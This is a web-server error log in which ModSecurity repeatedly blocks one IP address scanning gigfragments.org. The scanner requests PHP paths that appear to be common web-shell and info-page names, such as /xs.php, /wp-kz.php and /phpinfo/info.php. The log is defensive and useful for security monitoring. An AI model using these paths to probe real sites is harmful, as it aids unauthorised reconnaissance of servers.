[Wed May 20 04:32:19.950867 2026] [:error] [pid 36145:tid 36172] [client 20.104.227.76:15176] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/test.php"] [unique_id "agzI06tS18KtvF2VagsrtgAAARg"]
[Wed May 20 04:32:21.495510 2026] [:error] [pid 59349:tid 59356] [client 20.104.227.76:4829] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/test.php"] [unique_id "agzI1TvvxTUy-ppKSZV8kQAAAMU"]
[Wed May 20 04:32:22.181984 2026] [:error] [pid 59349:tid 59369] [client 20.104.227.76:15138] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/test.php"] [unique_id "agzI1jvvxTUy-ppKSZV8kwAAANI"]
[Wed May 20 04:32:22.910619 2026] [:error] [pid 59246:tid 59307] [client 20.104.227.76:15159] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/phpinfo/info.php"] [unique_id "agzI1mXuF32eb0pGiHwPRwAAAIA"]
[Wed May 20 04:32:23.378228 2026] [:error] [pid 59349:tid 59360] [client 20.104.227.76:14437] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/phpinfo/info.php"] [unique_id "agzI1zvvxTUy-ppKSZV8lwAAAMk"]
[Wed May 20 04:32:23.845769 2026] [:error] [pid 59246:tid 59321] [client 20.104.227.76:15220] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/phpinfo/info.php"] [unique_id "agzI12XuF32eb0pGiHwPSAAAAI4"]
[Wed May 20 04:32:24.304576 2026] [:error] [pid 59246:tid 59311] [client 20.104.227.76:15106] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/phpinfo/info.php"] [unique_id "agzI2GXuF32eb0pGiHwPSQAAAIQ"]
[Wed May 20 04:32:24.767913 2026] [:error] [pid 36145:tid 36164] [client 20.104.227.76:15173] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-the.php"] [unique_id "agzI2KtS18KtvF2VagsrugAAARA"]
[Wed May 20 04:32:25.646791 2026] [:error] [pid 59244:tid 59255] [client 20.104.227.76:15157] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-the.php"] [unique_id "agzI2bxU0SdQQE7pLs2sOQAAAAI"]
[Wed May 20 04:32:26.355619 2026] [:error] [pid 59349:tid 59352] [client 20.104.227.76:15189] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-the.php"] [unique_id "agzI2jvvxTUy-ppKSZV8nwAAAME"]
[Wed May 20 04:32:26.930351 2026] [:error] [pid 36145:tid 36166] [client 20.104.227.76:14417] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-the.php"] [unique_id "agzI2qtS18KtvF2VagsrvgAAARI"]
[Wed May 20 04:32:27.668737 2026] [:error] [pid 36145:tid 36165] [client 20.104.227.76:4826] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/CDX2.php"] [unique_id "agzI26tS18KtvF2VagsrvwAAARE"]
[Wed May 20 04:32:28.219310 2026] [:error] [pid 59349:tid 59371] [client 20.104.227.76:14432] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/CDX2.php"] [unique_id "agzI3DvvxTUy-ppKSZV8ogAAANQ"]
[Wed May 20 04:32:29.006076 2026] [:error] [pid 36145:tid 36168] [client 20.104.227.76:15191] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/CDX2.php"] [unique_id "agzI3atS18KtvF2VagsrwQAAARQ"]
[Wed May 20 04:32:29.566877 2026] [:error] [pid 36145:tid 36149] [client 20.104.227.76:15167] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/CDX2.php"] [unique_id "agzI3atS18KtvF2VagsrwgAAAQE"]
[Wed May 20 04:32:47.139630 2026] [:error] [pid 59349:tid 59368] [client 20.104.227.76:14418] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xs.php"] [unique_id "agzI7zvvxTUy-ppKSZV8vQAAANE"]
[Wed May 20 04:32:47.737881 2026] [:error] [pid 36145:tid 36171] [client 20.104.227.76:14425] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xs.php"] [unique_id "agzI76tS18KtvF2Vagsr1AAAARc"]
[Wed May 20 04:32:48.305444 2026] [:error] [pid 59246:tid 59314] [client 20.104.227.76:15123] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xs.php"] [unique_id "agzI8GXuF32eb0pGiHwPXAAAAIc"]
[Wed May 20 04:32:48.836460 2026] [:error] [pid 59244:tid 59268] [client 20.104.227.76:15151] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xs.php"] [unique_id "agzI8LxU0SdQQE7pLs2sPgAAAA8"]
[Wed May 20 04:32:49.609549 2026] [:error] [pid 36145:tid 36148] [client 20.104.227.76:15229] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxa.php"] [unique_id "agzI8atS18KtvF2Vagsr2AAAAQA"]
[Wed May 20 04:32:50.476599 2026] [:error] [pid 59246:tid 59318] [client 20.104.227.76:15175] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxa.php"] [unique_id "agzI8mXuF32eb0pGiHwPXgAAAIs"]
[Wed May 20 04:32:51.023580 2026] [:error] [pid 59349:tid 59359] [client 20.104.227.76:14336] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxa.php"] [unique_id "agzI8zvvxTUy-ppKSZV8wQAAAMg"]
[Wed May 20 04:32:52.626997 2026] [:error] [pid 59349:tid 59357] [client 20.104.227.76:14415] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxa.php"] [unique_id "agzI9DvvxTUy-ppKSZV8wwAAAMY"]
[Wed May 20 04:32:53.685331 2026] [:error] [pid 59244:tid 59267] [client 20.104.227.76:15182] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index0.php"] [unique_id "agzI9bxU0SdQQE7pLs2sQQAAAA4"]
[Wed May 20 04:32:54.307872 2026] [:error] [pid 59244:tid 59275] [client 20.104.227.76:15118] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index0.php"] [unique_id "agzI9rxU0SdQQE7pLs2sQgAAABY"]
[Wed May 20 04:32:55.024551 2026] [:error] [pid 59349:tid 59361] [client 20.104.227.76:15131] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index0.php"] [unique_id "agzI9zvvxTUy-ppKSZV8xwAAAMo"]
[Wed May 20 04:32:55.869895 2026] [:error] [pid 59245:tid 59285] [client 20.104.227.76:15207] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index0.php"] [unique_id "agzI96OutR70QIZRVkTMhgAAAEU"]
[Wed May 20 04:32:56.481882 2026] [:error] [pid 59349:tid 59353] [client 20.104.227.76:15150] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-kz.php"] [unique_id "agzI-DvvxTUy-ppKSZV8ygAAAMI"]
[Wed May 20 04:32:56.966178 2026] [:error] [pid 59349:tid 59355] [client 20.104.227.76:14404] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-kz.php"] [unique_id "agzI-DvvxTUy-ppKSZV8zAAAAMQ"]
[Wed May 20 04:32:57.675860 2026] [:error] [pid 59244:tid 59273] [client 20.104.227.76:15212] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-kz.php"] [unique_id "agzI-bxU0SdQQE7pLs2sRAAAABQ"]
[Wed May 20 04:32:58.144768 2026] [:error] [pid 59244:tid 59266] [client 20.104.227.76:15122] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-kz.php"] [unique_id "agzI-rxU0SdQQE7pLs2sRQAAAA0"]
[Wed May 20 04:32:58.979961 2026] [:error] [pid 59349:tid 59368] [client 20.104.227.76:14377] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/19.php"] [unique_id "agzI-jvvxTUy-ppKSZV80AAAANE"]
[Wed May 20 04:32:59.800710 2026] [:error] [pid 59349:tid 59370] [client 20.104.227.76:15214] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/19.php"] [unique_id "agzI-zvvxTUy-ppKSZV80wAAANM"]
[Wed May 20 04:33:01.562250 2026] [:error] [pid 59244:tid 59257] [client 20.104.227.76:15202] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/19.php"] [unique_id "agzI_bxU0SdQQE7pLs2sSAAAAAQ"]
[Wed May 20 04:33:02.591198 2026] [:error] [pid 59245:tid 59298] [client 20.104.227.76:14356] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/19.php"] [unique_id "agzI_qOutR70QIZRVkTMiAAAAFI"]
[Wed May 20 04:33:03.736533 2026] [:error] [pid 59245:tid 59282] [client 20.104.227.76:14450] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/11.php"] [unique_id "agzI_6OutR70QIZRVkTMiQAAAEI"]
[Wed May 20 04:33:04.743590 2026] [:error] [pid 59349:tid 59355] [client 20.104.227.76:14403] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/11.php"] [unique_id "agzJADvvxTUy-ppKSZV82wAAAMQ"]
[Wed May 20 04:33:05.512447 2026] [:error] [pid 59349:tid 59360] [client 20.104.227.76:15119] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/11.php"] [unique_id "agzJATvvxTUy-ppKSZV83AAAAMk"]
[Wed May 20 04:33:06.628364 2026] [:error] [pid 36145:tid 36148] [client 20.104.227.76:14438] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/11.php"] [unique_id "agzJAqtS18KtvF2Vagsr4AAAAQA"]
[Wed May 20 04:33:08.195912 2026] [:error] [pid 59246:tid 59312] [client 20.104.227.76:15224] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w.php"] [unique_id "agzJBGXuF32eb0pGiHwPegAAAIU"]
[Wed May 20 04:33:08.870535 2026] [:error] [pid 59246:tid 59318] [client 20.104.227.76:14440] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w.php"] [unique_id "agzJBGXuF32eb0pGiHwPfQAAAIs"]
[Wed May 20 04:33:09.651012 2026] [:error] [pid 59246:tid 59324] [client 20.104.227.76:14379] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w.php"] [unique_id "agzJBWXuF32eb0pGiHwPfgAAAJE"]
[Wed May 20 04:33:10.323359 2026] [:error] [pid 59349:tid 59372] [client 20.104.227.76:14343] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w.php"] [unique_id "agzJBjvvxTUy-ppKSZV84AAAANU"]
[Wed May 20 04:33:11.120488 2026] [:error] [pid 59349:tid 59367] [client 20.104.227.76:15179] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws78.php"] [unique_id "agzJBzvvxTUy-ppKSZV84gAAANA"]
[Wed May 20 04:33:12.024470 2026] [:error] [pid 59349:tid 59357] [client 20.104.227.76:15211] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws78.php"] [unique_id "agzJCDvvxTUy-ppKSZV85AAAAMY"]
[Wed May 20 04:33:12.835030 2026] [:error] [pid 59244:tid 59254] [client 20.104.227.76:14381] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws78.php"] [unique_id "agzJCLxU0SdQQE7pLs2sSwAAAAE"]
[Wed May 20 04:33:14.079342 2026] [:error] [pid 59245:tid 59290] [client 20.104.227.76:14402] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws78.php"] [unique_id "agzJCqOutR70QIZRVkTMjQAAAEo"]
[Wed May 20 04:33:15.340033 2026] [:error] [pid 59245:tid 59289] [client 20.104.227.76:15177] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxx.php"] [unique_id "agzJC6OutR70QIZRVkTMjwAAAEk"]
[Wed May 20 04:33:16.746963 2026] [:error] [pid 59246:tid 59319] [client 20.104.227.76:15218] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxx.php"] [unique_id "agzJDGXuF32eb0pGiHwPgQAAAIw"]
[Wed May 20 04:33:17.705901 2026] [:error] [pid 59244:tid 59264] [client 20.104.227.76:14461] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxx.php"] [unique_id "agzJDbxU0SdQQE7pLs2sTgAAAAs"]
[Wed May 20 04:33:18.569764 2026] [:error] [pid 59246:tid 59309] [client 20.104.227.76:14347] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxx.php"] [unique_id "agzJDmXuF32eb0pGiHwPggAAAII"]
[Wed May 20 04:33:19.915774 2026] [:error] [pid 59244:tid 59260] [client 20.104.227.76:14395] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a7.php"] [unique_id "agzJD7xU0SdQQE7pLs2sTwAAAAc"]
[Wed May 20 04:33:20.595064 2026] [:error] [pid 59244:tid 59273] [client 20.104.227.76:14361] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a7.php"] [unique_id "agzJELxU0SdQQE7pLs2sUAAAABQ"]
[Wed May 20 04:33:21.241018 2026] [:error] [pid 59244:tid 59266] [client 20.104.227.76:14371] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a7.php"] [unique_id "agzJEbxU0SdQQE7pLs2sUwAAAA0"]
[Wed May 20 04:33:22.122681 2026] [:error] [pid 59244:tid 59269] [client 20.104.227.76:14399] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a7.php"] [unique_id "agzJErxU0SdQQE7pLs2sVQAAABA"]
[Wed May 20 04:33:22.924988 2026] [:error] [pid 59349:tid 59360] [client 20.104.227.76:15163] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BDKR28WP.php"] [unique_id "agzJEjvvxTUy-ppKSZV87gAAAMk"]
[Wed May 20 04:33:23.858964 2026] [:error] [pid 36145:tid 36156] [client 20.104.227.76:14398] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BDKR28WP.php"] [unique_id "agzJE6tS18KtvF2Vagsr5AAAAQg"]
